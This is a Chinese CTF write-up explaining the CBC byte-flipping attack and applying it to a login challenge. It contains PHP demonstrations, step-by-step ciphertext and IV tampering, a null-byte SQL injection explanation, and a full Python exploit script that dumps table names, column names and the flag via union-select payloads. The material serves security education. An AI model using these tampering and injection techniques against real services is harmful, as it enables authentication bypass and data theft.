实验吧-简单的登录题——WriteUp再研究

article/2025/8/29 3:29:40

前言

这个题目的难点就是在于对于CBC加密方式尤其是解密这部分要琢磨一番,让我想起当年大学的时候信安三勇中的两勇的课,一门密码学,一门数学基础,可怕之极。这个题网上writeup一大堆,但是在一些方面解释的不是很详细,对大神们已经说的很清楚的地方我就粗略带过。

CBC解密以及字节翻转攻击(cbc-byte-flipping-attack)

我主要以CBC字符翻转 原理与实战这篇文章为基础,对其中一些细节做进一步解释。
在继续往下看之前,希望你先粗略读一遍这篇文章。
解密过程
我们主要关注一下解密过程。

  • 对于第一个密文块来说,使用密码解密后的数据要与初始化向量IV做异或运算才能得到明文
  • 对于第N个密文块(N>1)来说,使用密码解密后的数据要与第(N-1)个密文块做异或运算才能得到明文

以CBC字符翻转 原理与实战这篇文章中的代码示例为基础,我做了一点简单的修改,将iv作为一个参数而不是预定义方式,方便我们后面使用,其他部分均未作改变:

<?php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt,$iv) {$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');mcrypt_generic_init($aes, MY_AES_KEY, $iv);return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}define('MY_MAC_LEN', 40);function encrypt($data,$iv) {return aes($data, true,$iv);
}function decrypt($data,$iv) {$data = rtrim(aes($data, false,$iv), "\0");return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v,"1234567891234567");
echo ord($enc[2]).PHP_EOL;
$enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc,"1234567891234567");
echo "Plaintext AFTER attack : $b\n";
?>

如果我们执行的话,输出结果应该是这样:
这里写图片描述
我们可以看到,6变成了7,且头部出现了乱码。
先研究下为什么6变成了7。

第二个密文块

首先,我们假设每一个块(block)为8个bit:
事实上在本题中每个块为128个bit,通过阅读源码可以发现使用的是aes-128-cbc,另外,我们执行的是字节翻转攻击,所以在做题时基本操作单位是byte,这里为了方便理解,我们微缩化了具体过程
| 块| 二进制表示 |备注|
| - | :-: | |
|明文块#2|11000000||
| 密文块#1 |01001100||
| 密文块#2 | 01000100|由明文块#2与密文块#1异或运算后用密钥key加密而来|
| 解密后的块#2 | 10001100 | 由密文块#2用密钥解密而来,注意还不是完全的明文 |
| 异或运算后的明文块#2 |11000000 |由解密后的块#2与密文块1异或运算后而来|
假设我们现在需要将异或运算后的明文块#2的值修改为11010000,也就是改动其中第四个bit从0变为1,我们能够操纵的是密文块#1
我们知道
解密后的块#2 XOR 密文块#1 = 异或运算后的明文块#2

10001100 
XOR
01001100 
=
11000000

这里写图片描述
我们只需要让密文块#1变为01011100,就可以让异或运算后的明文块#2变为11010000即:

10001100 
XOR
01011100 
=
11010000

如何让密文块#1变为我们想要的01011100呢,你可以说直接操作bit就行了,right,但是当每个块为128个bit时,显得太麻烦了,我们在实际例子中操作的是byte。

回到代码中

$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
这里可以16个byte为一组进行分块,因为在块加密算法中也是这样分的。
BLOCK#1:a:2:{s:4:"name";
BLOCK#2:s:6:"sdsdsd";s:8
同样的道理,如果我们修改BLOCK#1的密文的第3个字节也就是数字2的值,就能够操纵BLOCK#2中的第3个字节的值。
按照代码中的例子,我们需要把数字6变成7。这里相信很多人都有点迷惑了,怎么办?
我们先看一个公式:
设Cipher_Block_#1是BLOCK#1的密文,Cipher_Not_XOR_#2是BLOCK#2的密文解密后未执行异或运算的密文,那么就有:
Cipher_Block_#1 XOR Cipher_Not_XOR_#2 = BLOCK#2
我们精确到我们需要改变的字节:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] = BLOCK#2[2] = 6
进一步,我们有:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] XOR 6= 0
0 XOR 7 = 7
则有:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] XOR 6 XOR 7= 7
我们只需要令
Cipher_Block_After_Modified#1[2] = Cipher_Block_#1[2] XOR 6 XOR 7
就能够操纵BLOCK#2[2]变为7
这就是这行代码做的事情:
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
上面的公式看似复杂,实则非常简单,希望不要被吓到。

乱码怎么办?

这就涉及到第一个密文块,我们为了修改第二个密文块解密出的内容,必须修改第一个密文块,第一个密文块要使它不是乱码,就要修改初始化向量IV,使得异或运算后得到正常的值,事实上和上面的原理一致。
现在我们需要认识到,由于密文块1被修改,导致使用key解密后未执行异或运算前的密文也受到影响,我们设为Cipher_Not_XOR_Wrong_#1,同样,对于解密出的乱码明文我们设为BLOCK_Wrong_#1,我们需要让解密出的明文是正常可读的也就是BLOCK#1:
则有公式:
IV XOR Cipher_Not_XOR_Wrong_#1 = BLOCK_Wrong_#1
这里我们不能像上面一样,只修改IV的第二个字节,因为整个密文块1已经被我们改动了一个字节,会导致解密结果不仅限于一个字节,因此我们跳过精确到字节的公式,直接有:
IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK_Wrong_#1= 0
0 XOR BLOCK#1 = BLOCK#1
则有:
IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK_Wrong_#1 XOR BLOCK#1 =BLOCK#1
我们只需要修改IV,令其为:
IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
就能操纵第一个被修改后的密文块解密出正常的明文。我们修改示例代码,在结尾插入如下代码:

$iv="1234567891234567";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($b[$i]) ^ ord($iv[$i]) ^ ord($v[$i]));
}
$c = array();
$c = @decrypt($enc,$iv);
echo "Plaintext Third attack : $c\n";
?>

最终的执行结果为:
这里写图片描述
很不错,正确解密。

回到题目中

首先,我们通过阅读源码得知,是过滤了#的,那么,我们先尝试用字节翻转攻击使用#注释掉limit $id,0中的,0

Step1

发送如下数据包:
这里写图片描述
再简单不过了,就只有一个id=12。服务器返回了iv和cipher。在源代码中我们发现:

if(isset($_POST['id'])){$id = (string)$_POST['id'];if(sqliCheck($id))die("<h1 style='color:red'><center>sql inject detected!</center></h1>");$info = array('id'=>$id);login($info);echo '<h1><center>Hello!</center></h1>';

OK,我们自己来序列化一下看长什么样子:

<?php
$id="12"
$info= array('id'=>$id);
echo serialize($info);
?>

执行结果为:
a:1:{s:2:"id";s:2:"12";}

Step2

16个byte为一组,进行分组:
BLOCK#1:a:1:{s:2:"id";s:
BLOCK#2:2:"12";}
我们先修改cipher中的BLOCK#1的密文,使得BLOCK#2的解密后结果为2:"1#";},这样就能够使用#注释掉,0了。

<?php
$cipher="%2FccfSv1qyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D";
$cipher=urldecode($cipher);
$cipher=base64_decode($cipher);
$cipher[4]=chr(ord($cipher[4])^ord('2')^ord('#'));
$cipher=base64_encode($cipher);
$cipher=urlencode($cipher);
echo "$cipher\n";
?>

得到cipher为:
%2FccfSuxqyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D
使用这个cipher的值,iv不变,post数据包:
这里写图片描述
服务器返回的结果很明白,无法正常反序列化,因为我们的密文块1被修改,导致明文块1乱码。

Step3

现在我们知道了乱码明文的base64值,以及原本正常的明文值,依据上面的公式:
IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
修改IV即可:

<?php
$iv = "6VFp%2BGNnuJHeIaQ58jWHaA%3D%3D";
$iv = urldecode($iv);
$iv = base64_decode($iv);
$block_wrong="8GmiVmSsfvsAKVpeudcNezI6IjEjIjt9";
$block_wrong=base64_decode($block_wrong);
$block_right="a:1:{s:2:\"id\";s:";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($block_wrong[$i]) ^ ord($iv[$i]) ^ ord($block_right[$i]));
}
$iv=base64_encode($iv);
$iv=urlencode($iv);
echo "$iv\n";
?>

输出结果为:
eAL6lHy4%2FFjkKpcDadn5KQ%3D%3D
使用这个iv替换数据包中的iv,再次重放:
这里写图片描述
注入成功。

获取FLAG

剩下的都是相同的操作。网上的python脚本写的有各种各样错误,也有些地方没有说清楚,下面放出我的脚本:

import requests
import re
from base64 import *
from urllib import quote,unquoteurl="http://ctf5.shiyanbar.com/web/jiandan/index.php"def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):payload = {"id":payload}r=requests.post(url,data=payload)iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]cipher=unquote(cipher)cipher=b64decode(cipher)cipher_list=list(cipher)cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))cipher_new=''.join(cipher_list)cipher_new=b64encode(cipher_new)cipher_new=quote(cipher_new)cookie = {'iv':iv,'cipher':cipher_new}r=requests.post(url,cookies=cookie)content = r.contentplain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]plain=b64decode(plain_base64)first_block_plain="a:1:{s:2:\"id\";s:"iv=unquote(iv)iv=b64decode(iv)iv_list=list(iv)for i in range(16):iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))iv_new=''.join(iv_list)iv_new=b64encode(iv_new)iv_new=quote(iv_new)cookie = {'iv':iv_new,'cipher':cipher_new}r=requests.post(url,cookies=cookie)return r.content
def get_columns_count():table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']for i in range(len(table_name)):payload="(select 1)a"if i==0:payload = "0 2nion select * from("+payload+");"+chr(0);content=find_flag(payload,6,'2','u')resp=re.findall(".*(Hello!)(\d).*",content)if resp:print "table has 1 column and response position is 1"return payloadelse:print "table does not have %d columns" % (i+1)continuefor t in range(i):payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])payload = "0 2nion select * from("+payload+");"+chr(0);content=find_flag(payload,6,'2','u')resp=re.findall(".*(Hello!)(\d).*",content)if resp:print "table has %d column and response position is %s" % (i+1,resp[0][1])return payloadelse:print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2','#')
print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')

get_columns_count

这个函数的目的是为了判断Union中select的次数,也就是说需要暴力破解处you_want表中的字段列数量,网上直接给出了结果是3个,我简单写了个函数去破解

6 or 7?

可以看到,有些payload中需要翻转的字节索引是6,有的是7,这主要是因为php序列化后,会在key和value中间加入一个长度值,如果payload太长,这个值就会变为3位,那么索引就是7,如果这个长度值是2位,那么索引就是6

关于chr(0)

评论中有闻到chr(0)是什么意思的,说明如下:
https://www.php.net/manual/en/security.filesystem.nullbytes.php
在这里插入图片描述
上图是php官网对空字节也就是0x00或者说%00引起的安全问题的解释,总的来说是因为php使用基于C语言的函数来操作文件系统,空字节在C语言里面是作为字符串的结尾标志,因此导致后续的字符串会被忽略掉。
放在mysql连接里面是一样的道理,php在连接mysql数据库进行查询,所以来的数据库接口实现也是C的,因此就会出现空字节注入。
我简单写了一个页面,代码如下:
在这里插入图片描述
然后我从浏览器发起了一个正常请求http://myserver:8081/index.php?id=root和一个由空字节结尾的注入语句http://myserver:8081/index.php?id=root%22;%00
在这里插入图片描述
在这里插入图片描述
使用wireshark抓一下服务器上mysql的包:
在这里插入图片描述
可以看到,第二次在注入语句时,sql查询语句已经被空字节截断了。


http://chatgpt.dhexx.cn/article/63lWy2Ru.shtml

相关文章

实验吧-简单的登录题

前言 这是在实验吧上面的一道web题。主要考察cbc字节反转攻击。 分析 题目开始就是输入id去登录 首先想到的就是sql注入了,输入1后页面显示Hello,重新载入的话页面返回报错信息 确实存在注入,看那后面的逗号,猜测注入点在limit后面。然后试了很多,发现题目把union,#…

前端框架是什么意思?

说起前端框架&#xff0c;很多人都不知道是什么意思&#xff0c;下面本篇文章就来给大家介绍一下前端框架是什么意思&#xff1f;希望对大家有所帮助。 前端框架是什么意思&#xff1f; 前端框架一般指用于简化网页设计的框架&#xff0c;使用广泛的前端开发套件&#xff0c;比…

优秀的前端开发框架

优秀的前端开发框架 1.Vue Vue2文档&#xff1a;Vue.js Vue3文档&#xff1a;Vue.js - 渐进式 JavaScript 框架 | Vue.js 用于构建用户界面的渐进式框架 Vue的核心库只关注视图层。可与elementUI配合Element - The worlds most popular Vue UI framework 2.React 原先的Fa…

matplotlib 绘图 显示中文

参考: Matplotlib中正确显示中文的四种方式 在 matplotlib 中无法直接显示中文(比如使用: plt.xlabel(), plt.ylabel, plt.title()等) from matplotlib import pyplot as pltplt.plot(np.arange(5)) plt.xlabel(x 标签) plt.ylabel(y 标签) plt.title(标题) plt.show()运行上述…

Matplotlib入门:等高线图contour

import matplotlib.pyplot as plt import numpy as npdef f(x,y):return (1-x/2x**5y**3)*np.exp(-x**2-y**2)n 256 x np.linspace(-3,3,n) y np.linspace(-3,3,n)# 生成网格 X,Y np.meshgrid(x,y)# contourf 会在等高线之间进行填充 plt.contourf(X,Y,f(X,Y),8,alpha0.75,…

matplotlib设置坐标轴

import numpy as np设置x,y范围 x np.linspace(-3,3,100) y1 2*x 1 y2 x**2#xy范围 plt.xlim((-1,2)) plt.ylim((-2,3))plt.plot(x,y1,colorred,linewidth1.0,linestyle--) plt.plot(x,y2,colorblue,linewidth5.0,linestyle-) #color指的是线的颜色&#xff0c;linewidth指…

python安装matplotlib画图模块

在python中会使用很多图标的东西作为可视化输出的必不可少的内容。matplotlib提供了很好的图形化显示。 下面就如何快速安装matplotlib做一下简要的说明&#xff1a; 博主用的python版本是3.8.2 win R 输入 python 一般情况下我们用pip安装一些python模块的时候都会提示 先升…

Python Matplotlib 绘制表格

Python Matplotlib 绘制表格 ​ 最近因为开发一个项目&#xff0c;需要用到Matplotlib绘制一些图片和表格&#xff0c;网上找到的一些&#xff0c;感觉总差点意思&#xff0c;绘制个表格感觉有点过于麻烦&#xff0c;因此自己整理了下。 ​ 绘制方法直接使用Matplotlib绘制&a…

Matplotlib快速入门

1. Matplotlib 常用模块 Matplotlib 库中主要包含两个重要模块 pyplob 和 pylab。pyplot 是 Matplotlib 中的一个重要模块&#xff0c;在后续教程中&#xff0c;我们会经常使用 pyplot&#xff0c;该模块允许我们自动、隐式地创建图形及其轴&#xff0c;以实现所需的绘图&…

Matplotlib之Figure的使用

Matplotlib之Figure的使用 意义实现方法代码实例现象 拓展&#xff08;图像参数设置&#xff09;图像的展现曲线的展现代码及现象 意义 figure是画图的窗口&#xff0c;本文主要解决我们想多个窗口显示多样的数据时的问题 实现方法 代码实例 下面展示一些 内联代码片。 im…

matplotlib隐藏坐标轴

1. 隐藏x坐标轴 import matplotlib.pyplot as pltx [3, 4, 4, 6, 7, 8, 8, 12] y [11, 12, 12, 14, 17, 15, 14, 19]fig, ax plt.subplots(figsize(6, 6), dpi100)ax.scatter(x, y) # 显示辅助线 ax.grid(True) # 1. 隐藏x坐标轴 ax.get_xaxis().set_visible(False) fig.sh…

Matplotlib的颜色

Matplotlib的颜色 下面是一段代码示例&#xff1a; plt.figure() plt.rcParams[font.family] [SimHei] x [男, 女] y1 [923, 1013] y2 [1393, 1741] plt.bar(range(2), y1, width0.2, facecolorred, label糖尿病患者) plt.bar([i0.2 for i in range(2)], y2, width0.2, …

matplotlib

今天我们来介绍一下python的一个可视化工具matplotlib matplotlib 使用matplotlib的方式有很多&#xff0c;但最通常的是Pylab模式的ipython(-ipython –pylab) matplotlib的api都位于matplotlib.pyplot中&#xff0c;所以一般的引入方式为&#xff1a; import matplotlib.…

Matplotlib绘制动图

简介 Matplotlib是非常著名的Python绘图库&#xff0c;支持非常复杂的底层定制化操作。本文通过Matplotlib中的动画绘制工具来讲解如何绘制动态图&#xff0c;首先讲解通过交互模式如何显示动态图&#xff0c;继而讲解通过两个动画类来实现动图地保存&#xff08;GIF格式&…

python使用matplotlib绘图

文章目录 一、模块介绍二、模块安装三、主要API介绍设置绘图风格plt.style.use()新建画布plt.figure()绘制折线图plt.plot()绘制垂直柱状图plt.bar()绘制水平柱状图plt.barh()绘制饼状图plt.pie()绘制散点图plt.scatter()设置横纵坐标的标签plt.xlabel(), plt.ylabel()添加文字…

零基础学Python:Matplotlib用法

本文目录&#xff1a; 一、初识matplotlib二、线形图plot&#xff08;&#xff09;函数用法 三、散点图scatter()函数用法 四、饼状图pie&#xff08;&#xff09;函数用法 五、直方图hist()函数用法 前言&#xff1a; &#x1f4e2;&#x1f4e2;&#x1f4e2; &#x1f3c5;&…

Matplotlib库的介绍及使用

Matplotlib库的介绍及使用 1. pyplot子库的基本使用1.1 Matplotlib库的介绍1.2 plot函数1.3 pyplot的中文显示1.4 pyplot的文本显示 2. pyplot基础图表函数2.1 pyplot饼图的绘制2.2 pyplot直方图的绘制2.3 pyplot极坐标图的绘制2.4 pyplot散点图的绘制 1. pyplot子库的基本使用…

【Python数据分析】Matplotlib的初步认识

文章目录 1.什么是Matplotlib2.常见图形种类及意义1.折线图2.散点图3.柱状图4.直方图5.饼图 3.认识Matplotlib图像结构1.第一层2.第二层3.第三层 4.折线图初体验1.设置标题2.中文显示3.自定义X轴刻度4.一图多线5.一图多个坐标系子图 1.什么是Matplotlib Matplotlib是一个Pytho…

使用Matplotlib绘图

&#x1f935; Author &#xff1a;Horizon Max ✨ 编程技巧篇&#xff1a;各种操作小结 &#x1f387; 机器视觉篇&#xff1a;会变魔术 OpenCV &#x1f4a5; 深度学习篇&#xff1a;简单入门 PyTorch &#x1f3c6; 神经网络篇&#xff1a;经典网络模型 &#x1f4bb; …

Python -- Matplotlib库的使用

Matplotlib库的使用 要点&#xff1a;matplotlib是提供数据绘图功能的第三方库&#xff0c;其pyplot子库主要用于实现各种数据展示图形的绘制。 1. matplotlib.pyplot库概述 matplotlib.pyplot是matplotlib的子库&#xff0c;引用方式如下&#xff1a; >>>import ma…